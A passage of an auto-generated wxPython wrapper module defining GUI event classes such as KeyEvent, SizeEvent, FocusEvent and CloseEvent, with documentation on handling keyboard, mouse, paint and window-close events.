future. Because of this you shouldn't assume that one\n event is equal to 1 line or whatever, but you should be able to either\n do partial line scrolling or wait until +/-WheelDelta rotation values\n have been accumulated before scrolling.\n \"\"\"\n return _core_.MouseEvent_GetWheelRotation(*args, **kwargs)\n\n def GetWheelDelta(*args, **kwargs):\n \"\"\"\n GetWheelDelta(self) -> int\n\n Get wheel delta, normally 120. This is the threshold for action to be\n taken, and one such action (for example, scrolling one increment)\n should occur for each delta.\n \"\"\"\n return _core_.MouseEvent_GetWheelDelta(*args, **kwargs)\n\n def GetLinesPerAction(*args, **kwargs):\n \"\"\"\n GetLinesPerAction(self) -> int\n\n Returns the configured number of lines (or whatever) to be scrolled\n per wheel action. Defaults to three.\n \"\"\"\n return _core_.MouseEvent_GetLinesPerAction(*args, **kwargs)\n\n def IsPageScroll(*args, **kwargs):\n \"\"\"\n IsPageScroll(self) -> bool\n\n Returns true if the system has been setup to do page scrolling with\n the mouse wheel instead of line scrolling.\n \"\"\"\n return _core_.MouseEvent_IsPageScroll(*args, **kwargs)\n\n m_x = property(_core_.MouseEvent_m_x_get, _core_.MouseEvent_m_x_set)\n m_y = property(_core_.MouseEvent_m_y_get, _core_.MouseEvent_m_y_set)\n m_leftDown = property(_core_.MouseEvent_m_leftDown_get, _core_.MouseEvent_m_leftDown_set)\n m_middleDown = property(_core_.MouseEvent_m_middleDown_get, _core_.MouseEvent_m_middleDown_set)\n m_rightDown = property(_core_.MouseEvent_m_rightDown_get, _core_.MouseEvent_m_rightDown_set)\n m_controlDown = property(_core_.MouseEvent_m_controlDown_get, _core_.MouseEvent_m_controlDown_set)\n m_shiftDown = property(_core_.MouseEvent_m_shiftDown_get, _core_.MouseEvent_m_shiftDown_set)\n m_altDown = property(_core_.MouseEvent_m_altDown_get, _core_.MouseEvent_m_altDown_set)\n m_metaDown = property(_core_.MouseEvent_m_metaDown_get, _core_.MouseEvent_m_metaDown_set)\n m_wheelRotation = property(_core_.MouseEvent_m_wheelRotation_get, _core_.MouseEvent_m_wheelRotation_set)\n m_wheelDelta = property(_core_.MouseEvent_m_wheelDelta_get, _core_.MouseEvent_m_wheelDelta_set)\n m_linesPerAction = property(_core_.MouseEvent_m_linesPerAction_get, _core_.MouseEvent_m_linesPerAction_set)\n Button = property(GetButton,doc=\"See `GetButton`\") \n LinesPerAction = property(GetLinesPerAction,doc=\"See `GetLinesPerAction`\") \n LogicalPosition = property(GetLogicalPosition,doc=\"See `GetLogicalPosition`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n WheelDelta = property(GetWheelDelta,doc=\"See `GetWheelDelta`\") \n WheelRotation = property(GetWheelRotation,doc=\"See `GetWheelRotation`\") \n X = property(GetX,doc=\"See `GetX`\") \n Y = property(GetY,doc=\"See `GetY`\") \n_core_.MouseEvent_swigregister(MouseEvent)\n\n#---------------------------------------------------------------------------\n\nclass SetCursorEvent(Event):\n \"\"\"\n A SetCursorEvent is generated when the mouse cursor is about to be set\n as a result of mouse motion. This event gives the application the\n chance to perform specific mouse cursor processing based on the\n current position of the mouse within the window. Use the `SetCursor`\n method to specify the cursor you want to be displayed.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int x=0, int y=0) -> SetCursorEvent\n\n Construct a new `wx.SetCursorEvent`.\n \"\"\"\n _core_.SetCursorEvent_swiginit(self,_core_.new_SetCursorEvent(*args, **kwargs))\n def GetX(*args, **kwargs):\n \"\"\"\n GetX(self) -> int\n\n Returns the X coordinate of the mouse in client coordinates.\n \"\"\"\n return _core_.SetCursorEvent_GetX(*args, **kwargs)\n\n def GetY(*args, **kwargs):\n \"\"\"\n GetY(self) -> int\n\n Returns the Y coordinate of the mouse in client coordinates.\n \"\"\"\n return _core_.SetCursorEvent_GetY(*args, **kwargs)\n\n def SetCursor(*args, **kwargs):\n \"\"\"\n SetCursor(self, Cursor cursor)\n\n Sets the cursor associated with this event.\n \"\"\"\n return _core_.SetCursorEvent_SetCursor(*args, **kwargs)\n\n def GetCursor(*args, **kwargs):\n \"\"\"\n GetCursor(self) -> Cursor\n\n Returns a reference to the cursor specified by this event.\n \"\"\"\n return _core_.SetCursorEvent_GetCursor(*args, **kwargs)\n\n def HasCursor(*args, **kwargs):\n \"\"\"\n HasCursor(self) -> bool\n\n Returns true if the cursor specified by this event is a valid cursor.\n \"\"\"\n return _core_.SetCursorEvent_HasCursor(*args, **kwargs)\n\n Cursor = property(GetCursor,SetCursor,doc=\"See `GetCursor` and `SetCursor`\") \n X = property(GetX,doc=\"See `GetX`\") \n Y = property(GetY,doc=\"See `GetY`\") \n_core_.SetCursorEvent_swigregister(SetCursorEvent)\n\n#---------------------------------------------------------------------------\n\nclass KeyEvent(Event):\n \"\"\"\n This event class contains information about keypress and character\n events. These events are only sent to the widget that currently has\n the keyboard focus.\n\n Notice that there are three different kinds of keyboard events in\n wxWidgets: key down and up events and char events. The difference\n between the first two is clear - the first corresponds to a key press\n and the second to a key release - otherwise they are identical. Just\n note that if the key is maintained in a pressed state you will\n typically get a lot of (automatically generated) down events but only\n one up so it is wrong to assume that there is one up event\n corresponding to each down one.\n\n Both key events provide untranslated key codes while the char event\n carries the translated one. The untranslated code for alphanumeric\n keys is always an upper case value. For the other keys it is one of\n WXK_XXX values from the keycodes table. The translated key is, in\n general, the character the user expects to appear as the result of the\n key combination when typing the text into a text entry zone, for\n example.\n\n A few examples to clarify this (all assume that CAPS LOCK is unpressed\n and the standard US keyboard): when the 'A' key is pressed, the key\n down event key code is equal to ASCII A == 65. But the char event key\n code is ASCII a == 97. On the other hand, if you press both SHIFT and\n 'A' keys simultaneously , the key code in key down event will still be\n just 'A' while the char event key code parameter will now be 'A' as\n well.\n\n Although in this simple case it is clear that the correct key code\n could be found in the key down event handler by checking the value\n returned by `ShiftDown`, in general you should use EVT_CHAR for this\n as for non alphanumeric keys or non-US keyboard layouts the\n translation is keyboard-layout dependent and can only be done properly\n by the system itself.\n\n Another kind of translation is done when the control key is pressed:\n for example, for CTRL-A key press the key down event still carries the\n same key code 'A' as usual but the char event will have key code of 1,\n the ASCII value of this key combination.\n\n You may discover how the other keys on your system behave\n interactively by running the KeyEvents sample in the wxPython demo and\n pressing some keys while the blue box at the top has the keyboard\n focus.\n\n **Note**: If a key down event is caught and the event handler does not\n call event.Skip() then the coresponding char event will not\n happen. This is by design and enables the programs that handle both\n types of events to be a bit simpler.\n\n **Note for Windows programmers**: The key and char events in wxWidgets\n are similar to but slightly different from Windows WM_KEYDOWN and\n WM_CHAR events. In particular, Alt-x combination will generate a char\n event in wxWidgets (unless it is used as an accelerator).\n\n **Tip**: be sure to call event.Skip() for events that you don't\n process in key event function, otherwise menu shortcuts may cease to\n work under Windows.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType eventType=wxEVT_NULL) -> KeyEvent\n\n Construct a new `wx.KeyEvent`. Valid event types are:\n * \n \"\"\"\n _core_.KeyEvent_swiginit(self,_core_.new_KeyEvent(*args, **kwargs))\n def GetModifiers(*args, **kwargs):\n \"\"\"\n GetModifiers(self) -> int\n\n Returns a bitmask of the current modifier settings. Can be used to\n check if the key event has exactly the given modifiers without having\n to explicitly check that the other modifiers are not down. For\n example::\n\n if event.GetModifers() == wx.MOD_CONTROL:\n DoSomething()\n\n \"\"\"\n return _core_.KeyEvent_GetModifiers(*args, **kwargs)\n\n def ControlDown(*args, **kwargs):\n \"\"\"\n ControlDown(self) -> bool\n\n Returns ``True`` if the Control key was down at the time of the event.\n \"\"\"\n return _core_.KeyEvent_ControlDown(*args, **kwargs)\n\n def MetaDown(*args, **kwargs):\n \"\"\"\n MetaDown(self) -> bool\n\n Returns ``True`` if the Meta key was down at the time of the event.\n \"\"\"\n return _core_.KeyEvent_MetaDown(*args, **kwargs)\n\n def AltDown(*args, **kwargs):\n \"\"\"\n AltDown(self) -> bool\n\n Returns ``True`` if the Alt key was down at the time of the event.\n \"\"\"\n return _core_.KeyEvent_AltDown(*args, **kwargs)\n\n def ShiftDown(*args, **kwargs):\n \"\"\"\n ShiftDown(self) -> bool\n\n Returns ``True`` if the Shift key was down at the time of the event.\n \"\"\"\n return _core_.KeyEvent_ShiftDown(*args, **kwargs)\n\n def CmdDown(*args, **kwargs):\n \"\"\"\n CmdDown(self) -> bool\n\n \"Cmd\" is a pseudo key which is the same as Control for PC and Unix\n platforms but the special \"Apple\" (a.k.a as \"Command\") key on\n Macs. It makes often sense to use it instead of, say, `ControlDown`\n because Cmd key is used for the same thing under Mac as Ctrl\n elsewhere. The Ctrl still exists, it's just not used for this\n purpose. So for non-Mac platforms this is the same as `ControlDown`\n and Macs this is the same as `MetaDown`.\n \"\"\"\n return _core_.KeyEvent_CmdDown(*args, **kwargs)\n\n def HasModifiers(*args, **kwargs):\n \"\"\"\n HasModifiers(self) -> bool\n\n Returns true if either CTRL or ALT keys was down at the time of the\n key event. Note that this function does not take into account neither\n SHIFT nor META key states (the reason for ignoring the latter is that\n it is common for NUMLOCK key to be configured as META under X but the\n key presses even while NUMLOCK is on should be still processed\n normally).\n \"\"\"\n return _core_.KeyEvent_HasModifiers(*args, **kwargs)\n\n def GetKeyCode(*args, **kwargs):\n \"\"\"\n GetKeyCode(self) -> int\n\n Returns the virtual key code. ASCII events return normal ASCII values,\n while non-ASCII events return values such as WXK_LEFT for the left\n cursor key. See `wx.KeyEvent` for a full list of the virtual key\n codes.\n\n Note that in Unicode build, the returned value is meaningful only if\n the user entered a character that can be represented in current\n locale's default charset. You can obtain the corresponding Unicode\n character using `GetUnicodeKey`.\n \"\"\"\n return _core_.KeyEvent_GetKeyCode(*args, **kwargs)\n\n def GetUnicodeKey(*args, **kwargs):\n \"\"\"\n GetUnicodeKey(self) -> int\n\n Returns the Unicode character corresponding to this key event. This\n function is only meaningful in a Unicode build of wxPython.\n \"\"\"\n return _core_.KeyEvent_GetUnicodeKey(*args, **kwargs)\n\n GetUniChar = GetUnicodeKey \n def SetUnicodeKey(*args, **kwargs):\n \"\"\"\n SetUnicodeKey(self, int uniChar)\n\n Set the Unicode value of the key event, but only if this is a Unicode\n build of wxPython.\n \"\"\"\n return _core_.KeyEvent_SetUnicodeKey(*args, **kwargs)\n\n def GetRawKeyCode(*args, **kwargs):\n \"\"\"\n GetRawKeyCode(self) -> unsigned int\n\n Returns the raw key code for this event. This is a platform-dependent\n scan code which should only be used in advanced\n applications. Currently the raw key codes are not supported by all\n ports.\n \"\"\"\n return _core_.KeyEvent_GetRawKeyCode(*args, **kwargs)\n\n def GetRawKeyFlags(*args, **kwargs):\n \"\"\"\n GetRawKeyFlags(self) -> unsigned int\n\n Returns the low level key flags for this event. The flags are\n platform-dependent and should only be used in advanced applications.\n Currently the raw key flags are not supported by all ports.\n \"\"\"\n return _core_.KeyEvent_GetRawKeyFlags(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Find the position of the event, if applicable.\n \"\"\"\n return _core_.KeyEvent_GetPosition(*args, **kwargs)\n\n def GetPositionTuple(*args, **kwargs):\n \"\"\"\n GetPositionTuple() -> (x,y)\n\n Find the position of the event, if applicable.\n \"\"\"\n return _core_.KeyEvent_GetPositionTuple(*args, **kwargs)\n\n def GetX(*args, **kwargs):\n \"\"\"\n GetX(self) -> int\n\n Returns the X position (in client coordinates) of the event, if\n applicable.\n \"\"\"\n return _core_.KeyEvent_GetX(*args, **kwargs)\n\n def GetY(*args, **kwargs):\n \"\"\"\n GetY(self) -> int\n\n Returns the Y position (in client coordinates) of the event, if\n applicable.\n \"\"\"\n return _core_.KeyEvent_GetY(*args, **kwargs)\n\n m_x = property(_core_.KeyEvent_m_x_get, _core_.KeyEvent_m_x_set)\n m_y = property(_core_.KeyEvent_m_y_get, _core_.KeyEvent_m_y_set)\n m_keyCode = property(_core_.KeyEvent_m_keyCode_get, _core_.KeyEvent_m_keyCode_set)\n m_controlDown = property(_core_.KeyEvent_m_controlDown_get, _core_.KeyEvent_m_controlDown_set)\n m_shiftDown = property(_core_.KeyEvent_m_shiftDown_get, _core_.KeyEvent_m_shiftDown_set)\n m_altDown = property(_core_.KeyEvent_m_altDown_get, _core_.KeyEvent_m_altDown_set)\n m_metaDown = property(_core_.KeyEvent_m_metaDown_get, _core_.KeyEvent_m_metaDown_set)\n m_scanCode = property(_core_.KeyEvent_m_scanCode_get, _core_.KeyEvent_m_scanCode_set)\n m_rawCode = property(_core_.KeyEvent_m_rawCode_get, _core_.KeyEvent_m_rawCode_set)\n m_rawFlags = property(_core_.KeyEvent_m_rawFlags_get, _core_.KeyEvent_m_rawFlags_set)\n KeyCode = property(GetKeyCode,doc=\"See `GetKeyCode`\") \n Modifiers = property(GetModifiers,doc=\"See `GetModifiers`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n RawKeyCode = property(GetRawKeyCode,doc=\"See `GetRawKeyCode`\") \n RawKeyFlags = property(GetRawKeyFlags,doc=\"See `GetRawKeyFlags`\") \n UnicodeKey = property(GetUnicodeKey,SetUnicodeKey,doc=\"See `GetUnicodeKey` and `SetUnicodeKey`\") \n X = property(GetX,doc=\"See `GetX`\") \n Y = property(GetY,doc=\"See `GetY`\") \n_core_.KeyEvent_swigregister(KeyEvent)\n\n#---------------------------------------------------------------------------\n\nclass SizeEvent(Event):\n \"\"\"\n A size event holds information about size change events. The EVT_SIZE\n handler function will be called when the window it is bound to has\n been resized.\n\n Note that the size passed is of the whole window: call\n `wx.Window.GetClientSize` for the area which may be used by the\n application.\n\n When a window is resized, usually only a small part of the window is\n damaged and and that area is all that is in the update region for the\n next paint event. However, if your drawing depends on the size of the\n window, you may need to clear the DC explicitly and repaint the whole\n window. In which case, you may need to call `wx.Window.Refresh` to\n invalidate the entire window.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Size sz=DefaultSize, int winid=0) -> SizeEvent\n\n Construct a new ``wx.SizeEvent``.\n \"\"\"\n _core_.SizeEvent_swiginit(self,_core_.new_SizeEvent(*args, **kwargs))\n def GetSize(*args, **kwargs):\n \"\"\"\n GetSize(self) -> Size\n\n Returns the entire size of the window generating the size change\n event.\n \"\"\"\n return _core_.SizeEvent_GetSize(*args, **kwargs)\n\n def GetRect(*args, **kwargs):\n \"\"\"GetRect(self) -> Rect\"\"\"\n return _core_.SizeEvent_GetRect(*args, **kwargs)\n\n def SetRect(*args, **kwargs):\n \"\"\"SetRect(self, Rect rect)\"\"\"\n return _core_.SizeEvent_SetRect(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, Size size)\"\"\"\n return _core_.SizeEvent_SetSize(*args, **kwargs)\n\n m_size = property(_core_.SizeEvent_m_size_get, _core_.SizeEvent_m_size_set)\n m_rect = property(_core_.SizeEvent_m_rect_get, _core_.SizeEvent_m_rect_set)\n Rect = property(GetRect,SetRect,doc=\"See `GetRect` and `SetRect`\") \n Size = property(GetSize,SetSize,doc=\"See `GetSize` and `SetSize`\") \n_core_.SizeEvent_swigregister(SizeEvent)\n\n#---------------------------------------------------------------------------\n\nclass MoveEvent(Event):\n \"\"\"\n This event object is sent for EVT_MOVE event bindings when a window is\n moved to a new position.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Point pos=DefaultPosition, int winid=0) -> MoveEvent\n\n Constructor.\n \"\"\"\n _core_.MoveEvent_swiginit(self,_core_.new_MoveEvent(*args, **kwargs))\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the position of the window generating the move change event.\n \"\"\"\n return _core_.MoveEvent_GetPosition(*args, **kwargs)\n\n def GetRect(*args, **kwargs):\n \"\"\"GetRect(self) -> Rect\"\"\"\n return _core_.MoveEvent_GetRect(*args, **kwargs)\n\n def SetRect(*args, **kwargs):\n \"\"\"SetRect(self, Rect rect)\"\"\"\n return _core_.MoveEvent_SetRect(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, Point pos)\"\"\"\n return _core_.MoveEvent_SetPosition(*args, **kwargs)\n\n m_pos = property(GetPosition, SetPosition)\n m_rect = property(GetRect, SetRect)\n\n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n Rect = property(GetRect,SetRect,doc=\"See `GetRect` and `SetRect`\") \n_core_.MoveEvent_swigregister(MoveEvent)\n\n#---------------------------------------------------------------------------\n\nclass PaintEvent(Event):\n \"\"\"\n A paint event is sent when a window's contents needs to be repainted.\n Note that in an EVT_PAINT handler the application must *always* create\n a `wx.PaintDC` object, even if you do not use it. Otherwise MS\n Windows assumes that the window has not been painted yet and will send\n the event again, causing endless refreshes.\n\n You can optimize painting by retrieving the rectangles that have been\n damaged using `wx.Window.GetUpdateRegion` and/or `wx.RegionIterator`,\n and only repainting these rectangles. The rectangles are in terms of\n the client area, and are unscrolled, so you will need to do some\n calculations using the current view position to obtain logical,\n scrolled units.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int Id=0) -> PaintEvent\"\"\"\n _core_.PaintEvent_swiginit(self,_core_.new_PaintEvent(*args, **kwargs))\n_core_.PaintEvent_swigregister(PaintEvent)\n\nclass NcPaintEvent(Event):\n \"\"\"Proxy of C++ NcPaintEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int winid=0) -> NcPaintEvent\"\"\"\n _core_.NcPaintEvent_swiginit(self,_core_.new_NcPaintEvent(*args, **kwargs))\n_core_.NcPaintEvent_swigregister(NcPaintEvent)\n\n#---------------------------------------------------------------------------\n\nclass EraseEvent(Event):\n \"\"\"\n An erase event is sent whenever the background of a window needs to be\n repainted. To intercept this event use the EVT_ERASE_BACKGROUND event\n binder. On some platforms, such as GTK+, this event is simulated\n (simply generated just before the paint event) and may cause flicker.\n\n To paint a custom background use the `GetDC` method and use the returned\n device context if it is not ``None``, otherwise create a temporary\n `wx.ClientDC` and draw on that.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int Id=0, DC dc=None) -> EraseEvent\n\n Constructor\n \"\"\"\n _core_.EraseEvent_swiginit(self,_core_.new_EraseEvent(*args, **kwargs))\n def GetDC(*args, **kwargs):\n \"\"\"\n GetDC(self) -> DC\n\n Returns the device context the event handler should draw upon. If\n ``None`` is returned then create a temporary `wx.ClientDC` and use\n that instead.\n \"\"\"\n return _core_.EraseEvent_GetDC(*args, **kwargs)\n\n DC = property(GetDC,doc=\"See `GetDC`\") \n_core_.EraseEvent_swigregister(EraseEvent)\n\n#---------------------------------------------------------------------------\n\nclass FocusEvent(Event):\n \"\"\"\n A focus event is sent when a window's focus changes. The window losing\n focus receives an EVT_KILL_FOCUS event while the window gaining it\n gets an EVT_SET_FOCUS event.\n\n Notice that the set focus event happens both when the user gives focus\n to the window (whether using the mouse or keyboard) and when it is\n done from the program itself using `wx.Window.SetFocus`.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0) -> FocusEvent\n\n Constructor\n \"\"\"\n _core_.FocusEvent_swiginit(self,_core_.new_FocusEvent(*args, **kwargs))\n def GetWindow(*args, **kwargs):\n \"\"\"\n GetWindow(self) -> Window\n\n Returns the other window associated with this event, that is the\n window which had the focus before for the EVT_SET_FOCUS event and the\n window which is going to receive focus for the wxEVT_KILL_FOCUS event.\n\n Warning: the window returned may be None!\n \"\"\"\n return _core_.FocusEvent_GetWindow(*args, **kwargs)\n\n def SetWindow(*args, **kwargs):\n \"\"\"SetWindow(self, Window win)\"\"\"\n return _core_.FocusEvent_SetWindow(*args, **kwargs)\n\n Window = property(GetWindow,SetWindow,doc=\"See `GetWindow` and `SetWindow`\") \n_core_.FocusEvent_swigregister(FocusEvent)\n\n#---------------------------------------------------------------------------\n\nclass ChildFocusEvent(CommandEvent):\n \"\"\"\n A child focus event is sent to a (parent-)window when one of its child\n windows gains focus, so that the window could restore the focus back\n to its corresponding child if it loses it now and regains later.\n\n Notice that child window is the direct child of the window receiving\n the event, and so may not be the actual widget recieving focus if it\n is further down the containment heirarchy. Use `wx.Window.FindFocus`\n to get the widget that is actually receiving focus.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window win=None) -> ChildFocusEvent\n\n Constructor\n \"\"\"\n _core_.ChildFocusEvent_swiginit(self,_core_.new_ChildFocusEvent(*args, **kwargs))\n def GetWindow(*args, **kwargs):\n \"\"\"\n GetWindow(self) -> Window\n\n The window, or (grand)parent of the window which has just received the\n focus.\n \"\"\"\n return _core_.ChildFocusEvent_GetWindow(*args, **kwargs)\n\n Window = property(GetWindow,doc=\"See `GetWindow`\") \n_core_.ChildFocusEvent_swigregister(ChildFocusEvent)\n\n#---------------------------------------------------------------------------\n\nclass ActivateEvent(Event):\n \"\"\"\n An activate event is sent when a top-level window or the entire\n application is being activated or deactivated.\n\n A top-level window (a dialog or frame) receives an activate event when\n is being activated or deactivated. This is indicated visually by the\n title bar changing colour, and a subwindow gaining the keyboard focus.\n An application is activated or deactivated when one of its frames\n becomes activated, or a frame becomes inactivate resulting in all\n application frames being inactive.\n\n Please note that usually you should call event.Skip() in your handlers\n for these events so the default handlers will still be called, as not\n doing so can result in strange effects.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, bool active=True, int Id=0) -> ActivateEvent\n\n Constructor\n \"\"\"\n _core_.ActivateEvent_swiginit(self,_core_.new_ActivateEvent(*args, **kwargs))\n def GetActive(*args, **kwargs):\n \"\"\"\n GetActive(self) -> bool\n\n Returns true if the application or window is being activated, false\n otherwise.\n \"\"\"\n return _core_.ActivateEvent_GetActive(*args, **kwargs)\n\n Active = property(GetActive,doc=\"See `GetActive`\") \n_core_.ActivateEvent_swigregister(ActivateEvent)\n\n#---------------------------------------------------------------------------\n\nclass InitDialogEvent(Event):\n \"\"\"\n A wx.InitDialogEvent is sent as a dialog is being initialised, or for\n any window when `wx.Window.InitDialog` is called. Handlers for this\n event can transfer data to the window, or anything else that should be\n done before the user begins editing the form. The default handler\n calls `wx.Window.TransferDataToWindow`.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int Id=0) -> InitDialogEvent\n\n Constructor\n \"\"\"\n _core_.InitDialogEvent_swiginit(self,_core_.new_InitDialogEvent(*args, **kwargs))\n_core_.InitDialogEvent_swigregister(InitDialogEvent)\n\n#---------------------------------------------------------------------------\n\nclass MenuEvent(Event):\n \"\"\"\n This class is used for a variety of menu-related events. Note that\n these do not include menu command events, which are handled by sending\n `wx.CommandEvent` objects.\n\n The default handler for wx.EVT_MENU_HIGHLIGHT displays menu item help\n text in the first field of the status bar.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0, Menu menu=None) -> MenuEvent\n\n Constructor\n \"\"\"\n _core_.MenuEvent_swiginit(self,_core_.new_MenuEvent(*args, **kwargs))\n def GetMenuId(*args, **kwargs):\n \"\"\"\n GetMenuId(self) -> int\n\n Returns the menu identifier associated with the event. This method\n should be only used with the HIGHLIGHT events.\n \"\"\"\n return _core_.MenuEvent_GetMenuId(*args, **kwargs)\n\n def IsPopup(*args, **kwargs):\n \"\"\"\n IsPopup(self) -> bool\n\n Returns ``True`` if the menu which is being opened or closed is a\n popup menu, ``False`` if it is a normal one. This method should only\n be used with the OPEN and CLOSE events.\n \"\"\"\n return _core_.MenuEvent_IsPopup(*args, **kwargs)\n\n def GetMenu(*args, **kwargs):\n \"\"\"\n GetMenu(self) -> Menu\n\n Returns the menu which is being opened or closed. This method should\n only be used with the OPEN and CLOSE events.\n \"\"\"\n return _core_.MenuEvent_GetMenu(*args, **kwargs)\n\n Menu = property(GetMenu,doc=\"See `GetMenu`\") \n MenuId = property(GetMenuId,doc=\"See `GetMenuId`\") \n_core_.MenuEvent_swigregister(MenuEvent)\n\n#---------------------------------------------------------------------------\n\nclass CloseEvent(Event):\n \"\"\"\n This event class contains information about window and session close\n events.\n\n The handler function for EVT_CLOSE is called when the user has tried\n to close a a frame or dialog box using the window manager controls or\n the system menu. It can also be invoked by the application itself\n programmatically, for example by calling the `wx.Window.Close`\n function.\n\n You should check whether the application is forcing the deletion of\n the window using `CanVeto`. If it returns ``False``, you must destroy\n the window using `wx.Window.Destroy`. If the return value is ``True``,\n it is up to you whether you respond by destroying the window or not.\n For example you may wish to display a message dialog prompting to save\n files or to cancel the close.\n\n If you don't destroy the window, you should call `Veto` to let the\n calling code know that you did not destroy the window. This allows the\n `wx.Window.Close` function to return ``True`` or ``False`` depending\n on whether the close instruction was honored or not.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0) -> CloseEvent\n\n Constructor.\n \"\"\"\n _core_.CloseEvent_swiginit(self,_core_.new_CloseEvent(*args, **kwargs))\n def SetLoggingOff(*args, **kwargs):\n \"\"\"\n SetLoggingOff(self, bool logOff)\n\n Sets the 'logging off' flag.\n \"\"\"\n return _core_.CloseEvent_SetLoggingOff(*args, **kwargs)\n\n def GetLoggingOff(*args, **kwargs):\n \"\"\"\n GetLoggingOff(self) -> bool\n\n Returns ``True`` if the user is logging off or ``False`` if the\n system is shutting down. This method can only be called for end\n session and query end session events, it doesn't make sense for close\n window event.\n \"\"\"\n return _core_.CloseEvent_GetLoggingOff(*args, **kwargs)\n\n def Veto(*args, **kwargs):\n \"\"\"\n Veto(self, bool veto=True)\n\n Call this from your event handler to veto a system shutdown or to\n signal to the calling application that a window close did not happen.\n\n You can only veto a shutdown or close if `CanVeto` returns true.\n \"\"\"\n return _core_.CloseEvent_Veto(*args, **kwargs)\n\n def GetVeto(*args, **kwargs):\n \"\"\"GetVeto(self) -> bool\"\"\"\n return _core_.CloseEvent_GetVeto(*args, **kwargs)\n\n def SetCanVeto(*args, **kwargs):\n \"\"\"\n SetCanVeto(self, bool canVeto)\n\n Sets the 'can veto' flag.\n \"\"\"\n return _core_.CloseEvent_SetCanVeto(*args, **kwargs)\n\n def CanVeto(*args, **kwargs):\n \"\"\"\n CanVeto(self) -> bool\n\n Returns true if you can veto a system shutdown or a window close\n event. Vetoing a window close event is not possible if the calling\n code wishes to force the application to exit, and so this function\n must be called to check this.\n \"\"\"\n return _core_.CloseEvent_CanVeto(*args, **kwargs)\n\n LoggingOff = property(GetLoggingOff,SetLoggingOff,doc=\"See `GetLoggingOff` and `SetLoggingOff`\") \n_core_.CloseEvent_swigregister(CloseEvent)\n\n#---------------------------------------------------------------------------\n\nclass ShowEvent(Event):\n \"\"\"An EVT_SHOW event is sent when a window is shown or hidden.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int winid=0, bool show=False) -> ShowEvent\n\n An EVT_SHOW event is sent when a window is shown or hidden.\n \"\"\"\n _core_.ShowEvent_swiginit(self,_core_.new_ShowEvent(*args, **kwargs))\n def SetShow(*args, **kwargs):\n \"\"\"SetShow(self, bool show)\"\"\"\n return _core_.ShowEvent_SetShow(*args, **kwargs)\n\n def GetShow(*args, **kwargs):\n \"\"\"GetShow(self) -> bool\"\"\"\n return _core_.ShowEvent_GetShow(*args, **kwargs)\n\n def IsShown(*args, **kwargs):\n \"\"\"IsShown(self) -> bool\"\"\"\n return _core_.ShowEvent_IsShown(*args, **kwargs)\n\n Show = property(GetShow,SetShow,doc=\"See `GetShow` and `SetShow`\") \n_core_.ShowEvent_swigregister(ShowEvent)\n\n#---------------------------------------------------------------------------\n\nclass IconizeEvent(Event):\n \"\"\"\n An EVT_ICONIZE event is sent when a frame is iconized (minimized) or\n restored.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id=0, bool iconized=True) -> IconizeEvent\n\n An EVT_ICONIZE event is sent when a frame is iconized (minimized) or\n restored.\n \"\"\"\n _core_.IconizeEvent_swiginit(self,_core_.new_IconizeEvent(*args, **kwargs))\n def 